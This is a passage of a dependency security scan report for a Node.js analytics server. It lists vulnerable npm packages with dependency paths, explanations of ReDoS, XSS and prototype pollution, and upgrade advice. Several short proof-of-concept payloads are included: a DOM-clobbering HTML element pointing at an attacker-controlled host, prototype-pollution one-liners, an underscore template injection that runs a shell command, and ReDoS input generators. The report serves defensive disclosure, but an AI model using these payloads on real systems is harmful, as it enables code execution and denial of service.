$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade js-yaml to version 3.13.0 or higher.
References
medium severity
- Vulnerable module: node-fetch
- Introduced through: isomorphic-fetch@2.2.1, react@15.7.0 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › isomorphic-fetch@2.2.1 › node-fetch@1.7.3Remediation: Upgrade to isomorphic-fetch@3.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › react@15.7.0 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3Remediation: Upgrade to react@16.5.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › react-dom@15.7.0 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3Remediation: Upgrade to react-dom@16.5.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › react-tap-event-plugin@2.0.1 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › material-ui@0.16.7 › react-addons-create-fragment@15.6.2 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › material-ui@0.16.7 › react-event-listener@0.4.5 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › material-ui@0.16.7 › recompose@0.21.2 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3
Overview
node-fetch is a light-weight module that brings window.fetch to node.js
Affected versions of this package are vulnerable to Denial of Service (DoS). Node Fetch did not honor the size option after following a redirect, which means that when a content size was over the limit, a FetchError would never get thrown and the process would end without failure.
Remediation
Upgrade node-fetch to version 2.6.1, 3.0.0-beta.9 or higher.
References
medium severity
- Vulnerable module: webpack
- Introduced through: webpack@2.7.0
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack@2.7.0Remediation: Upgrade to webpack@5.94.0.
Overview
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via DOM clobbering in the AutoPublicPathRuntimeModule class. Non-script HTML elements with unsanitized attributes such as name and id can be leveraged to execute code in the victim's browser. An attacker who can control such elements on a page that includes Webpack-generated files, can cause subsequent scripts to be loaded from a malicious domain.
PoC
<!DOCTYPE html>
<html>
<head>
<title>Webpack Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script src="./dist/webpack-gadgets.bundle.js"></script>
<body>
</body>
</html>
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade webpack to version 5.94.0 or higher.
References
medium severity
- Vulnerable module: minimist
- Introduced through: mocha@3.5.3, sails@0.12.14 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › mocha@3.5.3 › mkdirp@0.5.1 › minimist@0.0.8Remediation: Upgrade to mocha@6.2.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › mkdirp@0.5.1 › minimist@0.0.8
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › rc@1.0.1 › minimist@0.0.10Remediation: Upgrade to rc@1.1.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › rc@1.0.1 › minimist@0.0.10Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › captains-log@1.0.0 › rc@0.3.5 › minimist@0.0.10Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-util@0.11.0 › optimist@0.6.1 › minimist@0.0.10
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › captains-log@0.11.11 › rc@0.3.5 › minimist@0.0.10Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › captains-log@0.11.11 › rc@0.3.5 › minimist@0.0.10Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › anchor@0.10.5 › geojsonhint@1.2.1 › minimist@1.1.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › anchor@0.11.6 › @mapbox/geojsonhint@2.0.1 › minimist@1.2.0
Overview
minimist is a parse argument options module.
Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype using a constructor or __proto__ payload.
PoC by Snyk
require('minimist')('--__proto__.injected0 value0'.split(' '));
console.log(({}).injected0 === 'value0'); // true
require('minimist')('--constructor.prototype.injected1 value1'.split(' '));
console.log(({}).injected1 === 'value1'); // true
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade minimist to version 0.2.1, 1.2.3 or higher.
References
medium severity
- Vulnerable module: yargs-parser
- Introduced through: nyc@11.9.0 and webpack@2.7.0
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nyc@11.9.0 › yargs@11.1.0 › yargs-parser@9.0.2Remediation: Upgrade to nyc@14.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nyc@11.9.0 › yargs-parser@8.1.0Remediation: Upgrade to nyc@14.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack@2.7.0 › yargs@6.6.0 › yargs-parser@4.2.1Remediation: Upgrade to webpack@4.0.0.
Overview
yargs-parser is a mighty option parser used by yargs.
Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.
Our research team checked several attack vectors to verify this vulnerability:
- It could be used for privilege escalation.
- The library could be used to parse user input received from different sources:
- terminal emulators
- system calls from other code bases
- CLI RPC servers
PoC by Snyk
const parser = require("yargs-parser");
console.log(parser('--foo.__proto__.bar baz'));
console.log(({}).bar);
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade yargs-parser to version 5.0.1, 13.1.2, 15.0.1, 18.1.1 or higher.
References
medium severity
- Vulnerable module: underscore
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › anchor@0.10.5 › geojsonhint@1.2.1 › jsonlint-lines@1.7.1 › nomnom@1.8.1 › underscore@1.6.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › anchor@0.11.6 › @mapbox/geojsonhint@2.0.1 › jsonlint-lines@1.7.1 › nomnom@1.8.1 › underscore@1.6.0
Overview
underscore is a JavaScript's functional programming helper library.
Affected versions of this package are vulnerable to Arbitrary Code Injection via the template function, particularly when the variable option is taken from _.templateSettings as it is not sanitized.
PoC
const _ = require('underscore');
_.templateSettings.variable = "a = this.process.mainModule.require('child_process').execSync('touch HELLO')";
const t = _.template("")();
Remediation
Upgrade underscore to version 1.13.0-2, 1.12.1 or higher.
References
medium severity
- Vulnerable module: browserslist
- Introduced through: css-loader@0.25.0
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › autoprefixer@6.7.7 › browserslist@1.7.7Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › browserslist@1.7.7Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › caniuse-api@1.6.1 › browserslist@1.7.7Remediation: Upgrade to css-loader@1.0.0.
Overview
browserslist is a Share target browsers between different front-end tools, like Autoprefixer, Stylelint and babel-env-preset
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) during parsing of queries.
PoC by Yeting Li
var browserslist = require("browserslist")
function build_attack(n) {
var ret = "> "
for (var i = 0; i < n; i++) {
ret += "1"
}
return ret + "!";
}
// browserslist('> 1%')
//browserslist(build_attack(500000))
for(var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i)
try{
browserslist(attack_str);
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
}
catch(e){
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
}
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade browserslist to version 4.16.5 or higher.
References
medium severity
- Vulnerable module: color-string
- Introduced through: css-loader@0.25.0
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-colormin@2.2.2 › colormin@1.1.2 › color@0.11.4 › color-string@0.3.0
Overview
color-string is a Parser and generator for CSS color strings
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the hwb regular expression in the cs.get.hwb function in index.js. The affected regular expression exhibits quadratic worst-case time complexity.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade color-string to version 1.5.5 or higher.
References
medium severity
- Vulnerable module: content-type-parser
- Introduced through: ghoulies@0.0.2
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › ghoulies@0.0.2 › jsdom@9.12.0 › content-type-parser@1.0.2
Overview
content-type-parser is a Parse the value of the Content-Type header. content-type-parser package has been replaced by whatwg-mimetype.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It used a regular expression (/^(.*?)\/(.*?)([\t ]*;.*)?$/) in order to parse user agents. This can cause a very moderate impact of about 4 seconds matching time for data 30k characters long.
Note: content-type-parser has been replaced by the whatwg-mimetype package and the fix for this vulnerability can be found within whatwg-mimetype.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
There is no fixed version for content-type-parser.
References
medium severity
- Vulnerable module: ejs
- Introduced through: ejs@2.3.4 and sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › ejs@2.3.4Remediation: Upgrade to ejs@3.1.10.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › ejs@2.3.4Remediation: Upgrade to sails@1.5.11.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › ejs-locals@1.0.2 › ejs@0.8.8
Overview
ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources due to the lack of certain pollution protection mechanisms. An attacker can exploit this vulnerability to manipulate object properties that should not be accessible or modifiable.
Note:
Even after updating to the fix version that adds enhanced protection against prototype pollution, it is still possible to override the hasOwnProperty method.
Remediation
Upgrade ejs to version 3.1.10 or higher.
References
medium severity
- Vulnerable module: glob-parent
- Introduced through: webpack@2.7.0
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › glob-parent@3.1.0
Overview
glob-parent is a package that helps extracting the non-magic parent path from a glob string.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The enclosure regex used to check for strings ending in enclosure containing path separator.
PoC by Yeting Li
var globParent = require("glob-parent")
function build_attack(n) {
var ret = "{"
for (var i = 0; i < n; i++) {
ret += "/"
}
return ret;
}
globParent(build_attack(5000));
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
